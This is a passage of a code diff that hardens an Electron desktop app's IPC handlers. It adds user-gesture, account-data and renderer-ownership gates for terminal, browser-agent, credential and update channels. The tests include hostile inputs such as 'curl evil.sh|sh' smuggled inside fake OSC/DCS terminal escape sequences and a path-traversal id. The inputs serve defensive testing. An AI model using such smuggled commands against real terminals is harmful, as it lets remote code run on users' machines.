     expect(deps.beginOAuthConnect).not.toHaveBeenCalled()
-    expect(await handler?.(appEvent, 42)).toBe(false)
-    expect(await handler?.(appEvent, 'slack')).toBe(true)
+    expect(await handler?.(activeAppEvent, 42)).toBe(false)
+    expect(await handler?.(activeAppEvent, 'slack')).toBe(true)
     expect(deps.beginOAuthConnect).toHaveBeenCalledWith('slack', {})
 
     // Connects carry workspace/credential or exact-draft scope; malformed
     // scopes (wrong types, unsafe ids) are rejected before the handoff.
     expect(
-      await handler?.(appEvent, 'slack', {
+      await handler?.(activeAppEvent, 'slack', {
         workspaceId: 'ws1',
         credentialId: 'cred_1',
         draftId: 'draft_1',
@@ -400,13 +415,13 @@ describe('registerIpcHandlers', () => {
       draftId: 'draft_1',
       chatAttemptId: 'attempt_1',
     })
-    expect(await handler?.(appEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false)
-    expect(await handler?.(appEvent, 'slack', { draftId: '../wrong' })).toBe(false)
-    expect(await handler?.(appEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false)
-    expect(await handler?.(appEvent, 'slack', 'not-an-object')).toBe(false)
+    expect(await handler?.(activeAppEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false)
+    expect(await handler?.(activeAppEvent, 'slack', { draftId: '../wrong' })).toBe(false)
+    expect(await handler?.(activeAppEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false)
+    expect(await handler?.(activeAppEvent, 'slack', 'not-an-object')).toBe(false)
   })
 
-  it('restricts the updates surface to the app origin', async () => {
+  it('restricts updates to an activated app origin', async () => {
     const { invoke, on } = collectHandlers()
     const getState = invoke.get('desktop:updates:get-state')
     expect(await getState?.(evilEvent)).toEqual({ status: 'idle' })
@@ -419,6 +434,11 @@ describe('registerIpcHandlers', () => {
 
     on.get('desktop:updates:check')?.(appEvent)
     on.get('desktop:updates:install')?.(appEvent)
+    expect(deps.updates.check).not.toHaveBeenCalled()
+    expect(deps.updates.install).not.toHaveBeenCalled()
+
+    on.get('desktop:updates:check')?.(activeAppEvent)
+    on.get('desktop:updates:install')?.(activeAppEvent)
     expect(deps.updates.check).toHaveBeenCalledTimes(1)
     expect(deps.updates.install).toHaveBeenCalledTimes(1)
   })
@@ -433,6 +453,26 @@ describe('registerIpcHandlers', () => {
     ).toEqual({ ok: true, data: { mounts: [] } })
   })
 
+  it('gates account-bearing browser, terminal, and filesystem APIs during recovery', async () => {
+    deps.accountDataAvailable = () => false
+    const { invoke } = collectHandlers()
+    const localFilesystemHandle = vi.spyOn(deps.localFilesystem, 'handle')
+    const terminalStart = vi.spyOn(deps.terminal, 'start')
+
+    await expect(
+      invoke.get('desktop:local-filesystem')?.(appEvent, { operation: 'list_mounts' })
+    ).resolves.toMatchObject({ ok: false, code: 'ACCESS_DENIED' })
+    await expect(invoke.get('browser-credentials:list')?.(appEvent)).resolves.toEqual([])
+    await expect(invoke.get('terminal:start')?.(appEvent, {}, 'chat-a')).resolves.toMatchObject({
+      ok: false,
+      code: 'ACCESS_DENIED',
+    })
+
+    expect(localFilesystemHandle).not.toHaveBeenCalled()
+    expect(listCredentials).not.toHaveBeenCalled()
+    expect(terminalStart).not.toHaveBeenCalled()
+  })
+
   it('requires an active user gesture for granting or revoking folder access', async () => {
     const { invoke } = collectHandlers()
     const handler = invoke.get('desktop:local-filesystem')
@@ -524,6 +564,11 @@ describe('registerIpcHandlers', () => {
     await set?.(appEvent, 'notificationsEnabled', false)
     expect(deps.settings.setPreference).toHaveBeenCalledWith('notificationsEnabled', false)
 
+    await set?.(appEvent, 'launchAtLogin', true)
+    expect(deps.settings.setPreference).not.toHaveBeenCalledWith('launchAtLogin', true)
+    await set?.(activeAppEvent, 'launchAtLogin', true)
+    expect(deps.settings.setPreference).toHaveBeenCalledWith('launchAtLogin', true)
+
     await setAppearance?.(evilEvent, 'browserTheme', 'dark')
     await setAppearance?.(appEvent, 'not-a-setting', 'dark')
     await setAppearance?.(appEvent, 'browserTheme', 'sepia')
@@ -624,6 +669,8 @@ describe('registerIpcHandlers', () => {
 
     on.get('offline:retry')?.(appEvent)
     expect(deps.retryLoad).not.toHaveBeenCalled()
+    on.get('offline:retry')?.(arbitraryFileEvent)
+    expect(deps.retryLoad).not.toHaveBeenCalled()
     on.get('offline:retry')?.(fileEvent)
     expect(deps.retryLoad).toHaveBeenCalledWith(fileSender)
   })
@@ -684,7 +731,7 @@ describe('registerIpcHandlers', () => {
     expect(await handler?.(fileEvent, 'tool-1', 'browser_navigate', {})).toMatchObject({
       ok: false,
     })
-    expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {})).toMatchObject({
+    expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {}, 'chat-1')).toMatchObject({
       ok: false,
       error: expect.stringContaining('authorized pending Copilot tool call'),
     })
@@ -698,9 +745,15 @@ describe('registerIpcHandlers', () => {
     }
     // The server-persisted name must match the renderer's requested name.
     expect(
-      await handler?.(authorizedEvent, 'tool-1', 'browser_navigate', {
-        url: 'https://evil.example',
-      })
+      await handler?.(
+        authorizedEvent,
+        'tool-1',
+        'browser_navigate',
+        {
+          url: 'https://evil.example',
+        },
+        'chat-1'
+      )
     ).toMatchObject({
       ok: false,
       error: expect.stringContaining('authorized pending Copilot tool call'),
@@ -708,9 +761,15 @@ describe('registerIpcHandlers', () => {
     // An authorized call reaches the driver with the server-persisted args
     // (which reports its own tool-level failure because no session exists).
     expect(
-      await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', {
-        ignored: 'renderer cannot choose params',
-      })
+      await handler?.(
+        authorizedEvent,
+        'tool-1',
+        'browser_snapshot',
+        {
+          ignored: 'renderer cannot choose params',
+        },
+        'chat-1'
+      )
     ).toMatchObject({
       ok: false,
       error: expect.stringContaining('No page is open yet'),
@@ -740,6 +799,28 @@ describe('registerIpcHandlers', () => {
     cancelActive.mockRestore()
   })
 
+  it('rejects a browser tool when the renderer claims a different scope than authorization', async () => {
+    const { invoke } = collectHandlers()
+    const handler = invoke.get('browser-agent:execute-tool')
+    const authorizedEvent = {
+      senderFrame: { url: `${APP}/workspace/ws1` },
+      sender: {
+        session: {
+          fetch: vi.fn(async () =>
+            Response.json({ chatId: 'chat-1', toolName: 'browser_snapshot', args: {} })
+          ),
+        },
+      },
+    }
+
+    expect(
+      await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', {}, 'forged-chat')
+    ).toMatchObject({
+      ok: false,
+      error: expect.stringContaining('authorized pending Copilot tool call'),
+    })
+  })
+
   it('rejects a browser tool authorized after its scope cancellation boundary', async () => {
     const { invoke } = collectHandlers()
     const executeHandler = invoke.get('browser-agent:execute-tool')
@@ -807,6 +888,43 @@ describe('registerIpcHandlers', () => {
     expect(executeTool).toHaveBeenCalledWith('chat-a', 'tool-1', 'list', {})
   })
 
+  it('requires trusted input to grant browser media while allowing denial without it', async () => {
+    const { invoke, on } = collectHandlers()
+    const panelAction = vi.spyOn(browserDriver, 'handlePanelAction').mockResolvedValue()
+    const handler = on.get('browser-agent:panel-action')
+
+    await invoke.get('browser-agent:activate-scope')?.(inactiveAppEvent, 'chat-media')
+    handler?.(
+      inactiveAppEvent,
+      { action: 'respond-media-permission', requestId: 'request-1', allowed: true },
+      'chat-media'
+    )
+    handler?.(
+      inactiveAppEvent,
+      { action: 'respond-media-permission', requestId: 'request-1', allowed: false },
+      'chat-media'
+    )
+
+    expect(panelAction).toHaveBeenCalledOnce()
+    expect(panelAction).toHaveBeenCalledWith('chat-media', {
+      action: 'respond-media-permission',
+      requestId: 'request-1',
+      allowed: false,
+    })
+
+    await invoke.get('browser-agent:activate-scope')?.(activeAppEvent, 'chat-media')
+    handler?.(
+      activeAppEvent,
+      { action: 'respond-media-permission', requestId: 'request-2', allowed: true },
+      'chat-media'
+    )
+    expect(panelAction).toHaveBeenLastCalledWith('chat-media', {
+      action: 'respond-media-permission',
+      requestId: 'request-2',
+      allowed: true,
+    })
+  })
+
   it('ignores browser-agent panel actions from outside the app origin', () => {
     const { on } = collectHandlers()
     const handler = on.get('browser-agent:panel-action')
@@ -1528,14 +1646,11 @@ describe('registerIpcHandlers', () => {
     expect(forgetCredential).toHaveBeenCalledWith('c1')
   })
 
-  it('always forwards the replies the PTY solicits', () => {
+  it('forwards fixed PTY device and focus reports without a gesture', () => {
     const { on } = collectHandlers()
     const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
 
-    // The PTY asks for these and the terminal must answer with no user input:
-    // DSR cursor position, device attributes, a focus report (mode 1004, set by
-    // tmux and vim), an SGR mouse report. Gating them would hang whatever asked.
-    const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M']
+    const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[O']
     for (const reply of replies) {
       on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a')
       expect(write).toHaveBeenCalledWith('chat-a', 't1', reply)
@@ -1548,11 +1663,11 @@ describe('registerIpcHandlers', () => {
     const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
 
     await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-b')
-    on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-a')
-    expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[I')
+    on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-a')
+    expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[24;80R')
 
-    on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-b')
-    expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[I')
+    on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-b')
+    expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[24;80R')
   })
 
   it('clears retained terminal output only for an app-owned scope', async () => {
@@ -1643,19 +1758,23 @@ describe('registerIpcHandlers', () => {
     expect(deps.scopeEvents.activateTerminal).toHaveBeenLastCalledWith(appSender, 'chat-retry')
   })
 
-  it('only disposes provisional terminal scopes from the app origin', async () => {
+  it('only disposes provisional terminal scopes owned by the calling renderer', async () => {
     const { invoke } = collectHandlers()
     const disposeScope = vi.spyOn(deps.terminal, 'disposeScope')
     const dispose = invoke.get('terminal:dispose-scope')
 
     expect(await dispose?.(evilEvent, 'pending:new')).toBe(false)
     expect(await dispose?.(appEvent, 'chat-durable')).toBe(false)
+    expect(await dispose?.(appEvent, 'pending:new')).toBe(false)
+
+    await invoke.get('terminal:activate-scope')?.(appEvent, 'pending:new')
     expect(await dispose?.(appEvent, 'pending:new')).toBe(true)
+    expect(await dispose?.(appEvent, 'pending:new')).toBe(false)
     expect(disposeScope).toHaveBeenCalledOnce()
     expect(disposeScope).toHaveBeenCalledWith('pending:new')
   })
 
-  it('suspends only durable terminal scopes from the app origin', async () => {
+  it('suspends only the durable terminal scope active in the calling renderer', async () => {
     const suspendScope = vi.spyOn(deps.terminal, 'suspendScope').mockReturnValue(true)
     const { invoke } = collectHandlers()
     const suspend = invoke.get('terminal:suspend-scope')
@@ -1663,6 +1782,9 @@ describe('registerIpcHandlers', () => {
     expect(await suspend?.(evilEvent, 'chat-durable')).toBe(false)
     expect(await suspend?.(appEvent, 'not valid!')).toBe(false)
     expect(await suspend?.(appEvent, 'pending:new')).toBe(false)
+    expect(await suspend?.(appEvent, 'chat-durable')).toBe(false)
+
+    await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-durable')
     expect(await suspend?.(appEvent, 'chat-durable')).toBe(true)
     expect(suspendScope).toHaveBeenCalledOnce()
     expect(suspendScope).toHaveBeenCalledWith('chat-durable')
@@ -1673,19 +1795,48 @@ describe('registerIpcHandlers', () => {
     )
   })
 
+  it('closes terminal tabs only after a gesture from their active visible renderer', async () => {
+    const state = { tabs: [], activeTerminalId: null }
+    const close = vi.spyOn(deps.terminal, 'closeUserTerminal').mockReturnValue(state)
+    const { invoke } = collectHandlers()
+    const closeTerminal = invoke.get('terminal:close')
+
+    await invoke.get('terminal:activate-scope')?.(inactiveAppEvent, 'chat-a')
+    await expect(closeTerminal?.(inactiveAppEvent, 't1', 'chat-a')).resolves.toEqual(state)
+    expect(close).not.toHaveBeenCalled()
+
+    await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-a')
+    await expect(closeTerminal?.(activeAppEvent, 't1', 'chat-a')).resolves.toEqual({
+      ...state,
+      scopeId: 'chat-a',
+    })
+    expect(close).toHaveBeenCalledWith('chat-a', 't1', activeSender.sender)
+
+    close.mockClear()
+    await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-b')
+    await closeTerminal?.(activeAppEvent, 't1', 'chat-a')
+    expect(close).not.toHaveBeenCalled()
+  })
+
+  it('does not expose renderer-wide terminal teardown', () => {
+    const { on } = collectHandlers()
+
+    expect(on.has('terminal:dispose')).toBe(false)
+  })
+
   it('pastes the clipboard from main rather than taking bytes from the caller', async () => {
     const { invoke } = collectHandlers()
-    const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+    const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
     vi.mocked(clipboard.readText).mockReturnValue('echo hi')
 
     await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true)
 
-    expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi')
+    expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi', activeSender.sender)
   })
 
   it('refuses a paste with no gesture behind it, and reports an empty clipboard', async () => {
     const { invoke } = collectHandlers()
-    const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+    const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
     vi.mocked(clipboard.readText).mockReturnValue('echo hi')
 
     expect(await invoke.get('terminal:paste')?.(inactiveAppEvent, 't1', 'chat-a')).toBe(false)
@@ -1698,7 +1849,7 @@ describe('registerIpcHandlers', () => {
 
   it('rejects an oversized terminal paste before writing to the PTY', async () => {
     const { invoke } = collectHandlers()
-    const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+    const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
     vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1))
 
     await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(
@@ -1709,7 +1860,7 @@ describe('registerIpcHandlers', () => {
 
   it('writes an admitted terminal paste in bounded chunks', async () => {
     const { invoke } = collectHandlers()
-    const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+    const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
     const text = 'x'.repeat(70 * 1024)
     vi.mocked(clipboard.readText).mockReturnValue(text)
 
@@ -1718,7 +1869,7 @@ describe('registerIpcHandlers', () => {
     expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text)
   })
 
-  it('gates a command smuggled inside a fake OSC or DCS reply', () => {
+  it('gates renderer-authored mouse, OSC, and DCS terminal sequences', () => {
     const { on } = collectHandlers()
     const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
 
@@ -1729,6 +1880,7 @@ describe('registerIpcHandlers', () => {
       `${ESC}]0;x\rcurl evil.sh|sh\r${BEL}`,
       `${ESC}Pcurl evil.sh|sh\r${ESC}\\`,
       `${ESC}[M\r\r\r`,
+      `${ESC}[<0;10;5M`,
     ]
     for (const payload of smuggled) {
       on.get('terminal:write')?.(inactiveAppEvent, 't1', payload, 'chat-a')
@@ -1736,22 +1888,23 @@ describe('registerIpcHandlers', () => {
     expect(write).not.toHaveBeenCalled()
   })
 
-  it('still forwards a genuine OSC or DCS reply', () => {
+  it('fails closed for renderer-authored OSC and DCS bodies', () => {
     const { on } = collectHandlers()
     const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
 
-    // Real bodies are printable and terminated by BEL or ST.
-    const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`, `${ESC}[M !!`]
+    // Even well-shaped replies contain renderer-chosen printable text. They
+    // need a future query/response binding before they can safely bypass the
+    // trusted-input gate, so the unconditional path refuses them.
+    const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`]
     for (const reply of replies) {
       on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a')
-      expect(write).toHaveBeenCalledWith('chat-a', 't1', reply)
     }
-    expect(write).toHaveBeenCalledTimes(replies.length)
+    expect(write).not.toHaveBeenCalled()
   })
 
-  it('gates every keystroke-shaped payload, not just newline-bearing ones', () => {
+  it('requires recent native input for renderer-authored terminal writes', () => {
     const { on } = collectHandlers()
-    const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+    const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
 
     // Enumerating "what submits" would have missed these: EOT hands a partial
     // line to a canonical-mode reader, and 0x0f executes the current line in
@@ -1761,8 +1914,9 @@ describe('registerIpcHandlers', () => {
     }
     expect(write).not.toHaveBeenCalled()
 
-    on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r', 'chat-a')
-    expect(write).toHaveBeenCalledWith('chat-a', 't1', 'ls\r')
+    activeSender.press()
+    on.get('terminal:write')?.(activeAppEvent, 't1', 'l', 'chat-a')
+    expect(write).toHaveBeenCalledWith('chat-a', 't1', 'l', activeSender.sender)
   })
 
   it('defaults password conflicts to keeping what is already stored', async () => {
diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts
index 5f5d3f610fb..a2a3936d061 100644
--- a/apps/desktop/src/main/ipc.ts
+++ b/apps/desktop/src/main/ipc.ts
@@ -1,3 +1,5 @@
+import { normalize } from 'node:path'
+import { fileURLToPath } from 'node:url'
 import {
   type BrowserPanelAction,
   type BrowserPanelAnchor,
@@ -97,16 +99,23 @@ function writeTerminalText(
   terminal: TerminalRegistry,
   scope: string,
   terminalId: string,
-  text: string
-): void {
+  text: string,
+  owner?: WebContents
+): boolean {
   let start = 0
   while (start < text.length) {
     let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length)
     const finalCode = text.charCodeAt(end - 1)
     if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1
-    terminal.write(scope, terminalId, text.slice(start, end))
+    const chunk = text.slice(start, end)
+    if (owner) {
+      if (!terminal.writeUserInput(scope, terminalId, chunk, owner)) return false
+    } else {
+      terminal.write(scope, terminalId, chunk)
+    }
     start = end
   }
+  return true
 }
 
 const MICROPHONE_SETTINGS_URLS: Partial<Record<NodeJS.Platform, string>> = {
@@ -314,6 +323,10 @@ export function parseDesktopNotificationPayload(raw: unknown): DesktopNotificati
 export interface IpcDeps {
   appOrigin: () => string
   allowHttpLocalhost: () => boolean
+  /** False while local account-data persistence is unavailable or teardown must be retried. */
+  accountDataAvailable: () => boolean
+  /** Absolute paths of the bundled recovery pages allowed to control the shell. */
+  localPagePaths: readonly string[]
   retryLoad: (sender: WebContents) => void
   localFilesystem: LocalFilesystemService
   terminal: TerminalRegistry
@@ -381,6 +394,10 @@ interface ChannelSpecBase {
   gate: ChannelGate
   passSender?: boolean
   requires?: ChannelFeature
+  /** Account-bearing storage must be readable and writable before this channel can run. */
+  requiresAccountData?: boolean
+  /** Requires a recent trusted input event for every call, or only selected argument shapes. */
+  needsUserActivation?: boolean | ((args: readonly unknown[]) => boolean)
   /**
    * Why this channel's `gate` or `requires` deviates from the rest of its
    * name family. Required by `check:desktop-ipc` for any channel that does,
@@ -396,26 +413,24 @@ interface ChannelSpecBase {
 type ChannelSpec =
   | (ChannelSpecBase & {
       kind: 'invoke'
-      /** Requires an in-progress user gesture in the calling page. */
-      needsUserActivation?: boolean
       /** Returned to the caller when a gate rejects the call. */
       denied: unknown
       handler: (...args: unknown[]) => unknown
     })
   | (ChannelSpecBase & {
       kind: 'send'
-      /**
-       * Requires recent real OS input before a payload is forwarded. Payload-
-       * scoped rather than channel-scoped because the same channel also carries
-       * terminal replies the PTY solicits, which arrive with no user input.
-       */
-      payloadNeedsDeliberateInput?: boolean
       handler: (...args: unknown[]) => void
     })
 
-function isLocalPageSender(event: IpcMainEvent | IpcMainInvokeEvent): boolean {
+function isLocalPageSender(
+  event: IpcMainEvent | IpcMainInvokeEvent,
+  localPagePaths: readonly string[]
+): boolean {
   try {
-    return new URL(event.senderFrame?.url ?? '').protocol === 'file:'
+    const url = new URL(event.senderFrame?.url ?? '')
+    if (url.protocol !== 'file:') return false
+    const senderPath = normalize(fileURLToPath(url))
+    return localPagePaths.some((allowedPath) => senderPath === normalize(allowedPath))
   } catch {
     return false
   }
@@ -463,44 +478,16 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean
  * machine-generated and self-delimiting, which is what makes them safe to
  * enumerate.
  *
- * Bodies are printable-only ({@link PTY_REPLY_BODY}), never `[\s\S]`. A real
- * DCS or OSC reply carries text terminated by ST or BEL and never a control
- * byte, so an unbounded interior would let a hostile renderer wrap a whole
- * command and its submit inside a fake `ESC ] ... CR BEL` and be waved through
- * as a reply, reopening the path this gate exists to close. X10 mouse is
- * bounded the same way: its three bytes are offset by 32, so a control byte
- * there is never legitimate either.
+ * Only numeric/fixed device reports and fixed focus reports are included. DCS,
+ * OSC, and mouse responses are deliberately excluded even when well-formed:
+ * they do not need an unconditional path around the trusted-input gate.
  */
-const PTY_REPLY_BODY = '[\\u0020-\\u00ff]'
-const PTY_REPLY_PATTERNS = [
-  /\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes
-  /\u001b\[[IO]/, // focus in/out (mode 1004)
-  new RegExp(`\\u001b\\[M${PTY_REPLY_BODY}{3}`), // X10 mouse report
-  /\u001b\[<[0-9;]*[mM]/, // SGR mouse report
-  new RegExp(`\\u001bP${PTY_REPLY_BODY}*?\\u001b\\\\`), // DCS response
-  new RegExp(`\\u001b\\]${PTY_REPLY_BODY}*?(?:\\u0007|\\u001b\\\\)`), // OSC response
-]
+const PTY_REPLY_PATTERNS = [/\u001b\[[0-9;?]*[Rc]/, /\u001b\[[IO]/]
 const PTY_REPLY = new RegExp(
   `^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$`
 )
-
-/**
- * Whether a terminal-write payload needs a person behind it.
- *
- * The reply set is enumerated and everything else is gated, rather than the
- * other way round. "What submits" is not a closed set: besides carriage return
- * and newline, EOT (`0x04`) hands a partial line straight to a reader in
- * canonical mode, and `0x0f` is `operate-and-get-next` in bash and
- * `accept-line-and-down-history` in zsh — both of which execute the current
- * line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that
- * set would leave whichever binding was forgotten ungated, so the allowlist runs
- * the other way and fails closed.
- */
-function needsDeliberateInputForWrite(args: unknown[]): boolean {
-  const data = args[1]
-  if (typeof data !== 'string' || data.length === 0) return false
-  return !PTY_REPLY.test(data)
-}
+const MAX_TERMINAL_WRITE_CHARS = 256_000
+const MAX_PTY_REPLY_CHARS = 8_192
 
 interface DesktopToolAuthorization {
   chatId: string
@@ -667,6 +654,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'desktop:open-external': {
       kind: 'invoke',
       gate: 'any',
+      needsUserActivation: true,
       deviationReason:
         'the offline and error pages are local-page senders, not app-origin, and handing a support link to the system browser is the one action that must work when the app cannot reach its origin at all',
       denied: false,
@@ -676,6 +664,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'desktop:open-microphone-settings': {
       kind: 'invoke',
       gate: 'app-origin',
+      needsUserActivation: true,
       denied: false,
       handler: () => openMicrophoneSettings(),
     },
@@ -684,6 +673,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'desktop:oauth-connect': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
+      needsUserActivation: true,
       denied: false,
       handler: (providerId, scope) => {
         if (typeof providerId !== 'string') {
@@ -699,6 +690,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'desktop:local-filesystem': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       denied: {
         ok: false,
         code: 'ACCESS_DENIED',
@@ -715,6 +707,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'desktop:settings:set': {
       kind: 'invoke',
       gate: 'app-origin',
+      needsUserActivation: ([key]) => key === 'launchAtLogin',
       denied: null,
       handler: (key, value) =>
         isDesktopPreferenceKey(key) && typeof value === 'boolean'
@@ -813,11 +806,13 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'desktop:updates:check': {
       kind: 'send',
       gate: 'app-origin',
+      needsUserActivation: true,
       handler: () => deps.updates.check(),
     },
     'desktop:updates:install': {
       kind: 'send',
       gate: 'app-origin',
+      needsUserActivation: true,
       handler: () => deps.updates.install(),
     },
     'browser-agent:execute-tool': {
@@ -992,6 +987,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'browser-agent:get-known-sessions': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       deviationReason:
         "read/reset of the surface's own data; gating it on the surface would strand the browsing trail with no way to inspect or erase it",
       denied: { sessions: [] },
@@ -1010,6 +1006,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'browser-agent:clear-browsing-data': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       deviationReason:
         'erasing browsing data has to work with the browser off, which is the state a user clearing it is most likely to be in',
       needsUserActivation: true,
@@ -1084,6 +1081,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
       gate: 'app-origin',
       requires: 'browser',
       passSender: true,
+      needsUserActivation: ([action]) =>
+        isRecordLike(action) &&
+        action.action === 'respond-media-permission' &&
+        action.allowed === true,
       handler: (sender, action, rawScope) => {
         const scope = activeRendererScope(browserScopeBySender, sender as WebContents, rawScope)
         if (
@@ -1333,12 +1334,14 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'browser-credentials:available': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       denied: false,
       handler: () => credentialsAvailable(),
     },
     'browser-credentials:list': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       denied: [],
       handler: () => listCredentials(),
     },
@@ -1363,6 +1366,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'browser-import:sites': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       deviationReason:
         'a read of already-imported data; settings lists these hosts to show what an import brought over, which is what you look at while deciding whether to enable the browser',
       denied: [],
@@ -1374,6 +1378,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'browser-credentials:reveal': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       needsUserActivation: true,
       denied: null,
       handler: (id) => (typeof id === 'string' ? revealCredential(id) : null),
@@ -1381,6 +1386,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'browser-credentials:copy': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       needsUserActivation: true,
       denied: false,
       handler: (id) => (typeof id === 'string' ? copyCredential(id) : false),
@@ -1388,6 +1394,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'browser-credentials:forget': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       needsUserActivation: true,
       denied: [],
       handler: (id) => (typeof id === 'string' ? forgetCredential(id) : listCredentials()),
@@ -1395,6 +1402,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
     'browser-credentials:forget-all': {
       kind: 'invoke',
       gate: 'app-origin',
+      requiresAccountData: true,
       needsUserActivation: true,
       denied: [],
       handler: () => forgetAllCredentials(),
@@ -1554,10 +1562,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
       requires: 'terminal',
       passSender: true,
       denied: false,
-      // The bytes come from the clipboard here, not from the caller, so this
-      // does not need the write gate: a compromised renderer can only replay
-      // what the user already copied. It still needs a real gesture, because
-      // the legitimate caller is a Paste click or ⌘V.
+      // Paste is the sole interactive operation whose bytes do not originate
+      // in the renderer. The shell reads the clipboard itself after a fresh
+      // click/shortcut and still requires visible, focused active-tab
+      // ownership below.
       needsUserActivation: true,
       handler: (sender, terminalId, rawScope) => {
         const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
@@ -1567,8 +1575,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
         if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) {
           return 'too-large'
         }
-        writeTerminalText(deps.terminal, scope, terminalId, text)
-        return true
+        return writeTerminalText(deps.terminal, scope, terminalId, text, sender as WebContents)
       },
     },
     'terminal:scrollback': {
@@ -1659,10 +1666,19 @@ export function registerIpcHandlers(deps: IpcDeps): void {
       kind: 'invoke',
       gate: 'app-origin',
       requires: 'terminal',
+      passSender: true,
       denied: false,
-      handler: (rawScope) => {
+      handler: (sender, rawScope) => {
         const scope = parseDesktopScope(rawScope)
-        if (!scope || !isPendingDesktopScopeId(scope)) return false
+        const contents = sender as WebContents
+        if (
+          !scope ||
+          !isPendingDesktopScopeId(scope) ||
+          !terminalPendingScopesBySender.get(contents)?.has(scope)
+        ) {
+          return false
+        }
+        consumePendingScope(terminalPendingScopesBySender, contents, scope)
         deps.terminal.disposeScope(scope)
         return true
       },
@@ -1671,10 +1687,18 @@ export function registerIpcHandlers(deps: IpcDeps): void {
       kind: 'invoke',
       gate: 'app-origin',
       requires: 'terminal',
+      passSender: true,
       denied: false,
-      handler: (rawScope) => {
+      handler: (sender, rawScope) => {
         const scope = parseDesktopScope(rawScope)
